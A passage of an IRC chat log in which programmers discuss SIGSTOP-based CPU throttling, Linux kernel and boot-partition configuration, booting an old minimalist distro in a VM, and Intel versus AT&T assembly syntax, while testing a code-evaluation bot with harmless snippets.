option to set a 3 second alarm() at startup. 20:15:31 this is used for fuzz testing 20:15:39 is SIGSTOP the right one? I would have assumed SIGKILL would be better 20:15:47 I don't /think/ that that should be affected by SIGSTOP. 20:15:49 oh 20:15:53 it's about CPU throttling 20:15:57 Yeah 20:15:58 right 20:16:00 so you have to be able to start again 20:16:06 Yuh :P 20:16:14 It's super-lame CPU throttling ^^ 20:16:24 GregorR, why not use linux built in stuff for it 20:16:27 like nice 20:16:37 it is portable too 20:16:37 You can't have precise control with nice 20:16:45 !underload (()(*))(~:^:S*a~^a~!~*~:(/)S^):^ 20:16:48 Deewiant, do you need that precise control 20:16:56 If you want to do your own scheduling SIGSTOP is an easy way to get it 20:17:08 AnMaster: I don't know if he does, but there are cases in which you do. 20:17:20 Deewiant, I don't think SIGSTOP is safe 20:17:30 How "safe" 20:17:34 what if it happens in the middle of a poll() or such 20:17:35 There are situations where you don't want a program to use much CPU even if the CPU is "free" 20:17:38 is that defined behaviour 20:17:48 AnMaster: you are using sigselect(), right? 20:17:55 fizzie: does Debian's advanced install let you do kooky lvm stuff? 20:18:00 AnMaster: poll can be interrupted by signals just like any other system call? 20:18:01 AnMaster: It's defined, but plenty of programs don't handle it properly. 20:18:01 like, obscure options to lvm 20:18:04 ais523, um you can't ignore STOP 20:18:08 so that is irrelevant 20:18:14 and it is pselect not sigselect 20:18:31 (Where by "plenty" I mean "none that I've found", but anyway :P ) 20:18:51 GregorR, I think it depends on very precise timing 20:18:55 to get it to show said issues. 20:19:02 Probably. 20:19:33 Suffice it to say that I don't trust Linux's scheduler enough to allow these programs to take 100% CPU *shrugs* 20:19:46 GregorR, set the uid thingy 20:19:48 um 20:19:52 let me find the name for it 20:20:14 I find that setting the UID of a process rarely changes its scheduling priority :P 20:20:15 /sys/kernel/uids//cpu_share 20:20:16 that thing 20:20:23 Hmmmmm 20:20:29 recent kernels onlt 20:20:30 only* 20:20:45 Doesn't look like I have that. 20:21:02 GregorR, it can use more, but setting them for different UIDs mean that some UIDs will be guaranteed more under load. 20:21:10 like per user priority kind of 20:21:16 Right 20:21:24 How recent is "recent"? 20:21:33 ehird: I'm don't think it does "kooky" by default, but you can start a shell to mess up with things during the install. 20:21:43 Gracenotes, 2.6.23 or something like that 20:21:50 not sure exactly what one 20:21:51 fizzie: I did that, then it wanted to reformat them :) 20:21:57 I'm on .26 20:21:57 err 20:21:59 GregorR, ^ 20:22:04 fizzie: It seems Debian doesn't have new enough kernel for ext4 20:22:06 GregorR, then I guess it was disabled in kernel config 20:22:42 ehird, 2.6.28, some older ones have ext4dev 20:22:53 AnMaster: debian is 2.6.27 20:23:11 ehird: sid has 2.6.29 currently. 20:23:15 ehird, try another distro, or build a newer one 20:23:19 fizzie: ah, good 20:23:25 it'll be in testing by the time I get my machine then 20:23:45 ehird, so you didn't like arch :( 20:23:55 AnMaster: ECOULDN'TINSTALL. 20:24:06 EWASTURNEDOFFBYINSTALLERANYWAY. 20:24:07 ehird, EPEBKAC 20:24:18 AnMaster: EPEBVIRTUALMACHINEANDARCH,LOSER. 20:25:05 ehird, EUSERNOTBOOTABLEINSERTNEWUSERANDPRESSANYKEY 20:25:31 So the Arch philosophy is "if you can't install it on a machine, it's your fault, always". 20:25:35 Great, I'll stick to Debian. 20:25:37 ehird, no 20:25:44 it is just my philosophy! 20:25:56 ehird, but I still think it was PEBKAC 20:26:04 I never heard of anyone with similar issues 20:26:05 Fuck that, I did exactly what it said. 20:26:09 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:26:15 ehird, what exact error message did it give 20:26:21 AnMaster: I don't remember, goddamn 20:26:30 you never mentioned back then either 20:26:33 But I can install slackware with my hands tied, I think I could get Arch right 20:26:49 -!- bsmntbombdood has joined. 20:26:55 ehird, hands tied behind your back or in front of you 20:27:08 I need access to a keyboard and a screen. 20:27:09 and slackware isn't hard to install 20:27:14 super easy even 20:27:25 It's harder than Debian 20:27:57 darn. grub can't boot ext4 systems that use extents 20:27:58 ehird, err, I had more issues installing debian than slackware. Both were about a year and a half a ago 20:28:02 same week for both 20:28:05 maybe it changed now 20:28:10 AnMaster: PEBKAC PEBKAC PEBKAC 20:28:12 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:28:15 ehird, possibly 20:28:31 ehird, and. Don't use ext4 for your /boot 20:28:32 duh 20:28:37 You're an idiot and so's your mother and you should never be allowed to install Linux again if an installer failed for you. 20:28:42 why are you allergic to separate partitions 20:28:43 Also, I need to use ext4 for my /boot. 20:28:51 ehird, why do you need ext4 on it 20:28:56 I mean you won't access it a lot 20:28:57 SSD alignment concerns. 20:29:09 ehird, you won't access it a lot still. 20:29:23 -!- sebbu2 has joined. 20:29:26 and you need just 32 MB to have plenty of free space on it 20:29:26 I don't feel like fitting it in with other, properly aligned, partitions 20:29:29 at least for arch 20:29:39 and gentoo 20:29:55 ehird: Do you need extents for it to be aligned properly? 20:30:09 my boot on gentoo is 9.9 MB, on my arch 20 MB 20:30:10 Deewiant: Probably not, but I cba to turn them off. :) 20:30:19 but I have a distro generic fallback kernel on arch 20:30:40 ehird: :-P 20:31:15 AnMaster: Is that used space or the whole partition size 20:31:22 Deewiant, used space 20:32:16 Look's like 11M here 20:32:18 Deewiant, whole space is 32 MB on gentoo and 64 MB on Arch. Which is funny since the gentoo one is 64-bit and the arch one 32-bit 20:32:23 Hmm, ' 20:32:28 Deewiant, I have multiple kernels 20:32:35 I have two here as well 20:32:41 not just the arch generic ones. But also my own ones 20:32:47 I use my own non-initrd ones 20:32:52 with arch ones as fallback 20:33:09 gentoo one only have two custom ones 20:33:18 current version, and new version to boot to next 20:33:24 sometimes it has three versions 20:33:49 in a complex system, see logs of channel from 2009 for more info 20:34:00 Hmm, system.map isn't required, is it? 20:34:14 Isn't it just for kernel debugging 20:34:17 20:33 AnMaster: in a complex system, see logs of channel from 2009 for more info ← how useless 20:34:24 Deewiant, not for booting no. But it is needed to interpret kernel panics iirc 20:34:32 since they tend to just contain addresses 20:34:41 ehird, very well.. 20:34:44 Yeah, so if I don't care about interpreting kernel panics I don't need the map 20:35:02 I keep 2.6.x and 2.6.y always, where x is last one, and y is current. 20:35:05 Isn't it recreatable by recompiling anyway 20:35:09 however 20:35:23 when I change from 2.6.y to 2.6.y.z I don't remove 2.6.x 20:35:28 I'll remove it just for fun 20:35:31 I always keep one from that level 20:35:35 And now I'm down to 9.6M. 20:36:21 Deewiant, moving /boot/old-configs to /root/old-configs reduced it to 8.5 MB 20:36:33 old-configs contains configs all the way back from 2.6.9 20:36:35 How big is your kernel? 20:36:47 2.6M /boot/kernel-2.6.27-gentoo-r8-L1 20:36:47 2.7M /boot/kernel-2.6.28-gentoo-r5-L1 20:36:59 2.4M here 20:37:01 a few modules, but not a lot 20:37:26 Deewiant, I used to have it at 2.2 before, but I needed more options later 20:37:48 like usb audio for connecting usb keyboard. Parts of that I couldn't build as module. 20:38:07 Hmm, I wonder where all that space is going given that du reports only 5.6M 20:38:09 (keyboard meaning electrical piano, not qwerty here) 20:38:22 Deewiant, block size 20:38:24 I have no modules. 20:38:31 Deewiant, you are crazy 20:38:43 Deewiant, there is stuff I only use very seldom 20:38:47 AnMaster: Doesn't du report block-sized anyway, except with --apparent-size 20:38:47 why would I want it compiled in 20:38:52 -!- sebbu3 has joined. 20:38:59 Why not, the kernel is only 2.4M anyway :-P 20:39:02 Deewiant, err yes that is what I said 20:39:23 AnMaster: Yeah, so why does df report 4M on top of the 5.6M of du 20:39:24 Deewiant, 6.6M for /lib/modules/2.6.28-gentoo-r5-1 20:39:37 a lot more for /lib/modules/2.6.27-gentoo-r8-1, since it contains the nvidia module too 20:39:47 which I haven't built for new kernel yet 20:39:56 Deewiant, what fs 20:40:00 Oh, there's scsi_wait_scan.ko 20:40:08 Which is something that couldn't be disabled 20:40:10 # du -sh /boot/grub/ 20:40:10 409K /boot/grub/ 20:40:12 Deewiant, ^ 20:40:18 So I do have 2.8K's worth of modules ;-) 20:40:18 what about your 20:40:24 394K 20:40:26 Deewiant, err scsi_wait_scan.ko can be disabled 20:40:28 AnMaster: ext3 20:40:29 I don't have it 20:40:40 Comes with the whole SATA system IME. 20:40:43 4M + 394K, you are a bit closer 20:40:47 maybe there is some other file there too 20:40:56 AnMaster: No, the 5.6M included every single file+directory. 20:41:04 Ran as root over **/{*,.*} 20:41:12 Deewiant, did the 4.4 + 394K then 20:41:13 wait 20:41:19 du -sh /boot == 5.6M right 20:41:30 and 4.4 + 394K == kernel + grub 20:41:38 or did I misunderstand you 20:41:48 du -hc /boot == 5.6M 20:41:56 Err, no 20:41:57 Deewiant, I have SATA system. I don't have scsi_wait_scan.ko 20:42:01 du -hc /boot/**/* == 5.6M 20:42:04 du -hc /boot == 5.2M 20:42:08 -c 20:42:12 what does -c do 20:42:15 df -h says 9.6M 20:42:23 AnMaster: Total for multiple files. 20:42:27 ooooh 20:42:31 do you have a grub symlink 20:42:33 err 20:42:34 boot one 20:42:38 like /boot/boot -> . 20:42:42 Nope. 20:42:44 ok 20:42:45 Why would I? :-P 20:42:48 no idea then 20:42:53 Deewiant, some distros install them 20:42:58 Why? 20:43:07 Deewiant, to make you able to write /boot/foo in grub config instead of /foo 20:43:15 thus less bug reports from users 20:43:19 Heh. 20:44:23 11M kernel26-fallback.img 20:44:24 -!- sebbu has quit (Read error: 110 (Connection timed out)). 20:44:26 menuconfig says SCSI_WAIT_SCAN = m 20:44:27 you don't have that one I guess 20:44:36 No, I have my own backup which is also 2.4M. 20:44:47 Deewiant, right 20:44:55 so you don't have arch fallback ones installed then 20:45:05 No. 20:45:16 Deewiant, disable CONFIG_SCSI_SCAN_ASYNC 20:45:17 I think 20:45:31 It is disabled. 20:45:43 hm 20:45:53 Although I think I'll enable it, that sounds good. :-P 20:45:55 Deewiant, I don't even have the option for SCSI_WAIT_SCAN there... 20:46:05 Deewiant, CONFIG_SCSI_SCAN_ASYNC is why you need SCSI_WAIT_SCAN 20:46:07 AnMaster: At all? / finds it 20:46:26 Deewiant, at all 20:46:29 weöll 20:46:29 /wait_scan 20:46:30 well* 20:46:39 │ Symbol: SCSI_WAIT_SCAN [=m] 20:46:41 │ Symbol: SCSI_WAIT_SCAN [=n] │ 20:46:45 Meh 20:46:52 !cxx cout << "Hello, world!" << endl 20:46:54 Hello, world! 20:47:04 GregorR: using that Georgi thing? 20:47:04 AAAAAAA 20:47:05 Scary, no? :P 20:47:11 !cxx cout< GregorR, is it georgi 20:47:13 0x600ca8 20:47:17 ehird: No, just g++ wrapped in the same gunk as usual. 20:47:23 ash 20:47:24 ah 20:47:25 !cxx cout << [](){"A PACKAGE FOR YOU!"} 20:47:26 * 20:47:27 /tmp/source.17577.cc: In function 'int main(int, char**)': 20:47:31 No c++1x :( 20:47:44 AnMaster: Disabled everything under SCSI device support and it's still =m. Couldn't disable CONFIG_SCSI, though. 20:47:47 Hahah, it became c++1x? 20:48:02 GregorR, why did you include the namespace std:: by default 20:48:04 GregorR: Well, it will. 20:48:06 it is a lot funnier to 20:48:08 AnMaster: IRC line shorter. 20:48:08 always write it 20:48:12 oh ok 20:48:12 no it's not 20:48:18 your definition of funny sucks :P 20:48:25 !cxx cin >> cout 20:48:26 ehird, ok, more harmonic 20:48:27 /tmp/source.17622.cc: In function 'int main(int, char**)': 20:48:36 20:48 EgoBot: /usr/include/c++/4.3/istream:123: note: candidates are: std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_istream<_CharT, _Traits>& (*)(std::basic_istream<_CharT, _Traits>&)) [with _CharT = char, _Traits = std::char_traits] 20:48:40 yes 20:48:41 20:48 EgoBot: /usr/include/c++/4.3/istream:127: note: std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_ios<_CharT, _Traits>& (*)(std::basic_ios<_CharT, _Traits>&)) [with _CharT = char, _Traits = std::char_traits] 20:48:41 that 20:48:50 20:48 EgoBot: /usr/include/c++/4.3/istream:134: note: std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(std::ios_base& (*)(std::ios_base&)) [with _CharT = char, _Traits = std::char_traits] 20:48:51 more harmonic. More like the error messages 20:48:53 WILL IT EVER END 20:48:57 see what I said! 20:49:05 20:49 EgoBot: /usr/include/c++/4.3/istream:242: note: std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_streambuf<_CharT, _Traits>*) [with _CharT = char, _Traits = std::char_traits] 20:49:13 Deewiant, what are the deps of the symbol 20:49:22 Deewiant, xconfig allows you to see it easily 20:49:24 AnMaster: SCSI_WAIT_SCAN? How would I know? 20:49:34 Deewiant, Show debug info in make xconfig 20:49:35 ... 20:49:36 !cxx cout << [](){"A PACKAGE FOR YOU!"} 20:49:37 /tmp/source.17673.cc: In function 'int main(int, char**)': 20:49:44 Deewiant, I don't think menuconfig supports that 20:49:45 -!- bsmntbombdood_ has joined. 20:49:49 Hrm, I added -std=gnu++0x ... 20:49:51 AnMaster: I've only ever used menuconfig and oldconfig, didn't even know about this :-P 20:49:56 GregorR: does gcc do it? 20:50:08 Deewiant, it has "show all options" which let you see all greyed out options too 20:50:12 ehird: Idonno exactly what g++ does and doesn't support, but it certainly supports /something/ 20:50:14 and other nifty stuff 20:50:22 Deewiant, those things are in the option menu iirc 20:50:30 oh the xconfig one uses qt 20:50:32 AnMaster: ctrl+f doesn't find scsi_wait_scan... 20:50:33 qt 3 probably 20:50:42 Deewiant, maybe case sensitive 20:50:53 GregorR: add machine code! 20:50:56 AnMaster: Nope 20:51:01 Deewiant, show all options first 20:51:04 Or maybe it is but it didn't find it 20:51:06 -!- bsmntbombdood_ has quit (Read error: 104 (Connection reset by peer)). 20:51:06 works for me 20:51:07 AnMaster: I did, and debug info 20:51:27 Enabled everything under option 20:51:43 -!- bsmntbombdood_ has joined. 20:51:44 Deewiant, ah 20:51:47 it is hidden 20:51:47 It finds nothing for WAIT 20:51:49 that is why 20:51:53 Deewiant, yes it does here 20:52:05 * ehird puts http://mastodon.biz/ in a vm 20:52:08 Finds plenty for SCSI but nothing for WAIT 20:52:13 SCSI_WAIT_SCAN 20:52:13 type: tristate 20:52:13 default: m 20:52:13 dep: SCSI && MODULES 20:52:20 hm 20:52:28 there is no prompt for it 20:52:29 Like I said, always on :-P 20:52:31 that is why 20:52:39 I set it to =n in the .config but it got overridden 20:52:44 Deewiant, disable the modules option 20:52:45 duh 20:52:59 Deewiant, since you didn't use modules anyway 20:53:05 ehird: Give me a header for a .asm file :P 20:53:14 GregorR: No asm 20:53:15 machine code 20:53:16 Hmm, that'd work wouldn't it 20:53:21 ehird: OH 20:53:24 I wonder if it can be built as =y though, for the async 20:53:26 Deewiant, why 20:53:32 hm 20:53:40 Deewiant, if you don't have modules you don't need it 20:53:47 and it is a user visible option in older kernels 20:53:50 just not in newer 20:53:53 "You can load the │ 20:53:53 │ scsi_wait_scan module to ensure that all scans have completed." 20:54:09 Oh, maybe I should read the whole paragraph 20:54:14 Never mind :-P 20:54:29 -!- sebbu2 has quit (Connection timed out). 20:54:45 Deewiant, also I don't know if it has any effect on sata 20:54:49 or just for real SCSI 20:54:53 Ancient Linux GOOOOOOOOOOOOOOOOOOOOOO 20:55:02 ehird, what is that 20:55:05 !underload (:aS(:^S^:)Sa:):^S^:(:aS(:^S^:)Sa:) 20:55:06 some distro 20:55:06 (:aS(:^S^:)Sa:):^S^:(:aS(:^S^:)Sa:) 20:55:07 http://mastodon.biz/ 20:55:12 an old distro w/ bsd userland 20:55:18 gcc 2, linux 2.0.x 20:55:25 7 years old at the time of that writing 20:55:28 which I imagine was a few years ago 20:55:40 it mentions ISDN lines in the download page 20:55:40 "The most recent version is INST0066, which is no longer all that recent (~7 years old), but I'm trying to decide whether to roll to one of the super-bloated newer Linux kernels or write my own USB stack plus SATA and UDMA drivers for 2.0.28." 20:55:48 the twin of the ion developer 20:55:49 clearly 20:55:52 naw 20:55:56 anyway 20:55:58 he's not insane, he just likes minimal sw 20:56:03 ion author is a raving lunatic 20:56:26 it uses a.out 20:56:32 yep 20:56:40 a.out ftw 20:56:40 AnMaster: it even has a netinst! 20:56:41 gcc no longer supports it nowdays. Since 4.4 it is obsolete 20:56:45 so it will be dropped in 4.5 20:56:47 also, I don't think he cares 20:57:00 nothing depends on gcc 4 afaik 20:57:02 ehird, it seems unmaintained 20:57:07 Seems? 20:57:10 he probably wouldn't use any gpl software. 20:57:13 anyway 20:57:17 1MB netinst .img boot GO! 20:57:21 ehird, like gcc 2 20:57:23 it was GPL too 20:57:24 afaik 20:57:26 err 20:57:27 I mean 20:57:29 gpl3 20:57:32 ah 20:57:32 aww, no bootable medium found 20:57:35 guess .img isn't .iso 20:57:42 ehird: It's a floppy image 20:57:44 ehird, floppy image 20:57:47 ah 20:57:47 Deewiant, grr 20:57:47 cute 20:57:59 floppy netinst 20:58:00 ehird, so you can't use it on your new computer 20:58:01 sadly 20:58:01 damn that brings some memories 20:58:08 AnMaster: I'll probably still a floppy on there 20:58:11 It's, what, $20 20:58:12 ehird, floppy netinstall 20:58:13 what 20:58:16 yep 20:58:23 AnMaster: that's what it is 20:58:28 a floppy "livecd" that netinstalls 20:58:34 ehird, you said it brings memories 20:58:34 pretty modern for 7+n years ago 20:58:38 where did you see that before 20:58:45 never, just floppy linux 20:58:47 brings memories 20:58:50 bad ones... 20:58:55 fresco and such 20:58:56 iirc 20:58:57 or 20:59:01 whatever the spelling was 20:59:06 firewall on a floppy 20:59:15 I attempted to run every linux distro I could find in like 2004-2005 20:59:19 Mostly shitty floppy ones 20:59:21 Was quite fun 20:59:24 nowdays even the bz2 image of the kernel wouldn't fit on a floppy 20:59:33 but I guess if you disabled some stuff 20:59:37 AnMaster: Super-bloated, like he said 20:59:39 ;-) 20:59:40 The first OS I tried when I got my AWESOME NEW ETHERNET ROUTER no more winmodem I can use other OSes yay!! was QNX 20:59:41 like audio and usb printer 20:59:44 Deewiant, haha 21:00:04 ehird, you used qnx too 21:00:09 so what did you think about it 21:00:25 AnMaster: it did not live up to my high expectations, I thought it was a desktop OS. 21:00:36 ah 21:00:42 rather than embedded 21:00:43 I see 21:00:46 right :-) 21:00:54 ehird, actually it does have a desktop 21:00:55 AnMaster: hey, it did look pretty 21:01:00 for, you know, development 21:01:01 mostly 21:01:05 the gui wasn't unmodern, it just had no apps 21:01:06 wow 21:01:07 SYSLINUX 21:01:10 from 1999 21:01:17 it even had that card game 21:01:17 LOL@SPLASH SCREEN 21:01:18 ehird: could you recompile apps for QNX, I wonder/ 21:01:19 Solarite 21:01:20 or whatever 21:01:23 forgot the spelling 21:01:24 ais523: it's posix 21:01:25 AAAAAAAAAA 21:01:27 The VM crashed 21:01:33 ehird, what 21:01:40 Can MS-DOS be run in a VM? 21:01:40 AnMaster: it's just too retro for virtualbox! 21:01:41 that isn't supposed to happen 21:01:46 ehird, file a bug report 21:01:50 here's the wonderful splash screen I got: 21:01:52 Deewiant, I have done it 21:02:02 Did it work? :-P 21:02:03 (WARNING: YOUR EYES WILL NEVER FORGIVE YOU) 21:02:16 Deewiant, worked under qemu yes., Decided not to try under vmware 21:02:20 oops 21:02:22 error uploading 21:02:29 even imgur can't take it 21:02:30 ehird, try ompload then 21:02:37 AnMaster: i don't put files in shock-site hosters 21:02:38 ehird, it can take anything 21:02:49 ehird, but you said it was a shock pic 21:02:57 and not shock site hoster, just shock pic 21:02:58 it's awful but not shocking :P 21:03:14 fine 21:03:16 omploader it is 21:03:26 !asm movl $72, %edi; call putchar; movl $105, %edi; call putchar; movl $10, %edi; call putchar 21:03:27 Hi 21:03:36 AnMaster: http://omploader.org/vMW00OQ 21:03:52 GregorR: GAS? 21:03:54 it faded that in before booting the kernel 21:03:58 ehird, aiie emebdded color profile 21:03:59 Deewiant: HEWW YEAH BICH 21:04:00 Deewiant, of course 21:04:04 GregorR, I love GAS 21:04:06 AnMaster: os x does that :) 21:04:08 nicer syntax 21:04:16 ehird, that logo is nice 21:04:20 not awful 21:04:22 and thus it died again; let's try... um ... 21:04:29 ehird, 256 colors though 21:04:32 parallels? 21:04:36 and dithered 21:04:45 !asm .intel_syntax; mov edi, 72; call putchar; mov edi, 10; call putchar 21:04:45 /tmp/source.17919.s: Assembler messages: 21:04:46 ehird, qemu or bocsh 21:04:47 Meh 21:04:50 err spelling for the last 21:04:53 qemu it is 21:04:55 and bochs 21:04:57 bochs is lol slow 21:04:58 Deewiant, nasty 21:05:01 don't do intel 21:05:02 Oh, woops 21:05:04 it is evil 21:05:09 It did work actually 21:05:10 ;P 21:05:13 But then later code fails 21:05:17 ok then live with that 21:05:28 GregorR, so you prefer AT&T syntax too then 21:05:28 Deewiant: I can fix that. What's the directive to switch back to AT&T syntax? 21:05:30 :D 21:05:35 AnMaster: Of course. 21:05:40 good 21:05:43 at last someone sane 21:05:45 !asm .intel_syntax; mov edi, byte 72; call putchar; mov edi, byte 10; call putchar; .att_syntax 21:05:46 /tmp/source.17963.s: Assembler messages: 21:05:46 Okay 21:05:48 Let's try this 21:05:50 Darn 21:05:51 qemu it is 21:05:51 and bochs 21:05:51 bochs is lol slow 21:05:53 well 21:05:54 yeah 21:06:08 LET'S GOOOOOOOOOOO 21:06:10 ehird, bochs got an awesome debugger though. 21:06:13 -OOOOOOOOOOOOOOOOOOOOOOOOOOOOO- 21:06:16 -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- 21:06:17 !asm .intel_syntax; movzx edi, 72; call putchar; movzx edi, 10; call putchar; .att_syntax 21:06:17 /tmp/source.18042.s: Assembler messages: 21:06:19 -LAAAAAAAAAAAAAAGOOOOO- 21:06:36 ehird, and wasn't bochs originally IOCCC entry 21:06:37 Apparently Deewiant can't even remember Intel syntax :P 21:06:38 or something 21:06:43 no? 21:06:46 err 21:06:51 * AnMaster looks 21:06:54 GregorR: I don't move constants into registers too often :-P 21:07:16 ah no 21:07:16 !asm .intel_syntax; mov byte edi, 72; call putchar; mov byte edi, 10; call putchar; .att_syntax 21:07:17 /tmp/source.18084.s: Assembler messages: 21:07:17 qemu 21:07:18 How much disk do you think mastodon needs? 21:07:38 GregorR: And FWIW "mov edi, 72" would work in FASM 21:07:50 !underload (-)S(O)(~:S:*(- -)S~:^):^ 21:07:55 AnMaster: ? 21:07:58 500MB? 21:08:01 But it complains about ambiguous operand size 21:08:05 Which is crap 21:08:14 it's "byte ptr", IIRC 21:08:16 ehird, qemu was related. Just not directly 21:08:24 21:07 ehird: How much disk do you think mastodon needs? 21:08:33 !asm .intel_syntax; mov byte ptr edi, 72; call putchar; mov byte ptr edi, 10; call putchar; .att_syntax 21:08:33 ~/ioccc $ grep -i qemu */* 21:08:34 Binary file 2004/fs.tar matches 21:08:34 2004/gavin.hint: see http://bellard.org/ for QEMU (Fabrice Bellard is an IOCCC 2001 winner), 21:08:34 /tmp/ccclhLmE.o: In function `main': 21:08:34 there 21:08:37 that is how 21:08:45 !underload (-)S 21:08:46 - 21:08:49 ais523: Nope, undefined reference to edi 21:08:51 !underload (-)S(O)(~:S:*(- -)S~:^):^ 21:08:52 wtf that's my name 21:08:53 Deewiant, att syntax is a lot faster to get it right in 21:08:54 !underload ( 21:08:57 Anyway, GUYS. 21:09:00 GregorR: And the directive was .att_syntax, incase you didn't notice :-P 21:09:01 OLD LINUX TIME. 21:09:05 AnMaster: No, GAS just sucks. 21:09:10 Deewiant, wrong 21:09:10 AnMaster: "mov edi, 72" should work. 21:09:16 But it's being an idiot. 21:09:17 HERE GO 21:09:32 Deewiant, um, you mean mov $72, %edi surely? 21:09:42 AnMaster: No, I mean intel syntax. I don't speak $%!@#%!@#%! 21:09:46 !underload (9)S 21:09:46 It boots! 21:09:46 9 21:09:48 !underload ) 21:09:50 Deewiant, I don't speak intel syntax 21:09:56 hmm... obviously it isn't capturing stderr 21:09:57 ais523, do you prefer Intel or AT&T syntax 21:10:03 AnMaster: Like AT&T, but remove the ^$#!%!@ and flip operands. 21:10:14 AnMaster: I grew up on Intel, but I haven't used asm recently enough to express a preference 21:10:14 And lose the suffixes on instructions. 21:10:18 AnMaster: Holy shit, mastodon has an ncurses installer! 21:10:18 although gcc-bf is AT&T syntax 21:10:21 Deewiant, no you add ^$#!%!@ and flip operands to get Intel 21:10:27 bbl food 21:10:31 err... intel has no such (#*$%*(@# 21:10:33 AnMaster: No, there's no ^$#@!!@#$ 21:10:33 just [a] 21:11:32 Why can't that crap understand 'mov edi, 72'. 21:11:52 Choose the web/ftp site to install Mastodon 0066 from 21:11:56 Pell (Oregon, USA) 21:11:57 Other 21:12:01 This is awesome. 21:12:19 Admittedly, it freezes then 21:13:44 Better download the real OS beta 21:13:47 Not the netinstall 21:13:48 ;-) 21:14:01 54kb/sec 21:14:02 awesome 21:14:21 ha, it comes with adobe acrobat 21:14:22 and sudo 21:14:48 sudo acrobat # watch as my system gets infected 21:14:57 ais523: vut? 21:15:09 there's a cross-platform zero-day bug in latest Acrobat 21:15:18 that lets PDF Javascript take over the system 21:15:27 Just disable PDF Javascript. 21:15:30 obviously the payload's different on different OSes, but the bug's the same one 21:15:34 Deewiant: well, that's the obvious solution, yes 21:15:44 PDF NoScript, anyone? :-P 21:15:46 ais523: it's adobe 4 21:15:48 :-) 21:15:54 and it's not acrobat any more 21:15:55 it's adobe reader 21:16:04 oh, not "acrobat reader" 21:18:01 back 21:18:02 !c printf("Hello, world!\n"); 21:18:03 Hello, world! 21:18:20 Deewiant, did you use Intel or AT&T first 21:18:28 I used intel first btw. 21:18:29 First? 21:18:35 I've never used AT&T. 21:18:36 Deewiant, I meant. Which one did you learn first. 21:18:40 I've looked at it. 21:18:40 Deewiant, that is the issue then 21:18:48 Deewiant, it is force of habit. 21:18:54 I have absolutely no intention of learning it. 21:18:55 AnMaster: you're a troll. 21:19:13 AnMaster: There's no habit involved. I've coded exactly one thing in asm and did it in Intel because I evaluated both and found the other crap. 21:19:26 ehird, oh. So all those persons saying Haskell is horrible, because they don't understand it, aren't trolls then 21:19:29 RIIIIIIGHT 21:19:37 what? 21:19:45 I didn't say it's because I don't understand it, I said it's crap. :-P 21:19:45 you're seriously being a retard, it's embarrasing 21:20:00 http://www.thedailyshow.com/video/index.jhtml?videoId=225919&title=snoutbreak-09-what-to-call 21:20:00 ehird, I met plenty of programmers who thought functional programming was stupid, because it can't do while loops and similar 21:20:08 ehird, they are retards. 21:20:11 IMO 21:20:22 What does this have to do with anything? 21:20:23 once again you prove yourself to be the one person who can say things completely irrelevant and act as if they're profound 21:20:29 I'm saying this is the same thing. You don't understand AT&T syntax. 21:20:33 aren't used to it 21:20:35 like fuck i do 21:20:37 thus you hate it. 21:20:38 it's awful 21:20:47 i know it, i've used it, i hate it BECAUSE IT IS SHIT. 21:20:52 You hate what you aren't used to it. 21:20:55 ehird, I disagree 21:20:57 AnMaster: Gentoo is awful. You don't understand Debian. 21:20:58 aren't used to it 21:20:59 and I agree with GregorR here 21:21:02 thus you hare it. 21:21:07 You hate what you aren't used to it. 21:21:08 I don't hate debian 21:21:19 then I would have no words left for Red Hat and *shudder* CentOS 21:21:21 AnMaster: C is awful. You don't understand Pascal. 21:21:23 aren't used to it 21:21:24 thus you hate it 21:21:27 You hate what you aren't used to it. 21:21:29 ehird, I do understand Pascal 21:21:35 AnMaster: No you don't. 21:21:35 I coded a lot in it way back 21:21:38 Evidence: You don't understand it. 21:21:41 Because you hate it. 21:21:45 You hate what you aren't used to it. 21:21:56 You hate what you aren't used to it. → 21:21:59 ehird, Deewiant said he didn't understand AT&T 21:22:08 so that argument is invalid 21:22:27 ehird, and you said I hate perl only because I don't understand it and such before 21:22:33 which is exactly the same thing 21:22:43 When did I say I don't understand it? 21:24:11 Deewiant, I have coded a lot in both intel and AT&T syntax. I strongly prefer AT&T one. But I wouldn't actually call the intel one horrible most of the time. 21:24:19 Deewiant, why do you think the AT&T one is so bad. 21:24:21 Why prefer AT&T? 21:24:30 &^!@#$!@#$! and the operand suffixes 21:24:33 Er, instruction* 21:24:39 Deewiant, what is this "&^!@#$!@#$!" exactly 21:24:41 Needless verbosity and sigils 21:24:56 AnMaster: For instance, $ in front of numbers 21:25:02 Deewiant, AT&T is what most other platforms than x86 use. 21:25:18 so while instruction set differ 21:25:19 That's not an argument. 21:25:23 you don't have to learn a new syntax 21:25:30 and I coded for many platforms 21:25:34 so yes it is an argument 21:25:36 You have to learn the instruction set anyway 21:25:38 not having to learn another syntax 21:25:41 Deewiant, duh 21:25:43 that was what I said 21:25:45 read 21:25:47 then reply 21:25:52 AnMaster: Understand, then reply. 21:25:54 so while instruction set differ 21:25:55 you don't have to learn a new syntax 21:25:56 ... 21:26:12 My point was that learning the syntax along with the instruction set is not a noteworthy additional burden. 21:26:29 The problem is learning the instruction set, not the syntax. 21:27:09 Deewiant, there is a difference between "hm... so how did you write a mov to a register in this one..." and "hm... so what was the move instruction and the register name in this one..." 21:27:25 when you coded for enough platforms not having to remember such details help 21:27:33 Yes, and it is a small difference. 21:27:38 especially if you haven't coded in it for some time 21:28:01 Deewiant, so you dislike those prefixes ok 21:28:08 like % and $ 21:28:18 so that is all the "&^!@#$!@#$!" 21:28:22 right 21:28:24 Yes. 21:28:37 Deewiant, a lot of noise for a small issue IMO 21:28:50 Deewiant, why should I have to remember to write -> in C. AAARGH 21:28:55 AnMaster: Exactly! 21:28:57 I WANT TO WRITE . NOT ->! 21:28:58 In D you only need to write . 21:29:02 Deewiant, I was being sarcastic 21:29:05 I know. 21:29:14 But I wasn't. 21:29:21 It /is/ a pointless distinction. 21:29:26 AARGH WHY SHOULD I NEED TO KNOW THE DIFFERENCE BETWEEN /**/ AND /++/ 21:29:28 that is D 21:29:47 * AnMaster waits for Deewiant's answer 